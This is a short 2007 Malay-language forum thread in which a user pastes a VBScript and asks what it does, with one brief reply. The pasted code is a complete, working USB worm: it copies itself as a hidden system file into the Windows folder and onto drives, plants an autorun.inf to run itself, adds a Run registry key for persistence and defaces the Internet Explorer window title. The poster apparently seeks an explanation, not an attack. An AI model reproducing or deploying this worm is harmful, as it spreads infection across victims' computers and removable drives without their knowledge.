atomic98 1 Report post Posted April 3, 2007 salam semua...sebenarnya dah buka dalam Utiliti & Sekuriti,tapi tak ada tindakbalas yg menarik.so, nak minta bahagian Bahasa Pengaturcara tolong terjemahkan coding nih.apa fungsi yg di arahkan..on error resume nextdim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sdatr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe Poen.dll.vbs"set fs = createobject("Scripting.FileSystemObject")set mf = fs.getfile(Wscript.ScriptFullname)dim text,sizesize = mf.sizecheck = mf.drive.drivetypeset text=mf.openastextstream(1,-2)do while not text.atendofstreammysource=mysource&text.readlinemysource=mysource & vbcrlfloopdoSet winpath = fs.getspecialfolder(0)set tf = fs.getfile(winpath & "\Poen.dll.vbs")tf.attributes = 32set tf=fs.createtextfile(winpath & "\Poen.dll.vbs",2,true)tf.write mysourcetf.closeset tf = fs.getfile(winpath & "\Poen.dll.vbs")tf.attributes = 39for each flashdrive in fs.drivesIf (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" thenset tf=fs.getfile(flashdrive.path &"\Poen.dll.vbs")tf.attributes =32set tf=fs.createtextfile(flashdrive.path &"\Poen.dll.vbs",2,true)tf.write mysourcetf.closeset tf=fs.getfile(flashdrive.path &"\Poen.dll.vbs")tf.attributes =39set tf =fs.getfile(flashdrive.path &"\autorun.inf")tf.attributes = 32set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)tf.write atrtf.closeset tf =fs.getfile(flashdrive.path &"\autorun.inf")tf.attributes=39end ifnextset rg = createobject("WScript.Shell") 'rg.RegDelete "HKLM\Test\Value" 'Delete value "Value"'rg.RegDelete "HKCU\Test\Subkey\" 'Delete key "Subkey"rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\Poen.dll.vbs"rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by pokemon"rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"if check <> 1 thenWscript.sleep 200000end ifloop while check<>1set sd = createobject("Wscript.shell")sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname Quote Share this post Link to post Share on other sites
johnburn 6 Report post Posted April 3, 2007 Cube ko check balik posting ko kat bhgn tu..Dah hangat tu.. Quote Share this post Link to post Share on other sites